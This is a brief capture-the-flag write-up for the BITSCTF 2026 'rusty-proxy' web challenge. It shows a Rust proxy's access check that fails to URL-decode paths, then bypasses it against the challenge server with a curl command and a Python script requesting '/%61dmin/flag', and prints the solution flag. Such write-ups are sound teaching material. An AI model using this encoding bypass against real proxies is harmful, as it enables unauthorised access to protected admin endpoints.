← BACK TO WRITEUPS
89 words
1 minute
BITSCTF 2026 - rusty-proxy - Web Exploitation Writeup
[!NOTE] CTF CHALLENGE OVERVIEW
- CTF Event:
BITSCTF 2026- Category:
Writeup- Difficulty:
[MEDIUM]- Tools Used:
Python 3- Author / Writeup:
LIGHT
Category: Web Exploitation
Flag: BITSCTF{tr4il3r_p4r51n6_15_p41n_1n_7h3_4hh}
Challenge Description
Rust reverse proxy with Flask backend. Remote: http://rusty-proxy.chals.bitskrieg.in:25001
Analysis
Proxy ACL in main.rs:
fn is_path_allowed(path: &str) -> bool { let normalized = path.to_lowercase(); if normalized.starts_with("/admin") { return false; } true}The proxy checks the raw request path without URL decoding. Flask decodes %61 → a.
Exploitation
curl "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"/%61dmin/flag passes proxy check (doesn’t start with /admin), but Flask receives /admin/flag.
Or using Python:
#!/usr/bin/env python3import requests
URL = "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"
r = requests.get(URL, timeout=10)data = r.json()print(f"Flag: {data.get('flag')}") BITSCTF 2026 - rusty-proxy - Web Exploitation Writeup
Author
Light
Published at
2026-02-22
License
CC BY-NC-SA 4.0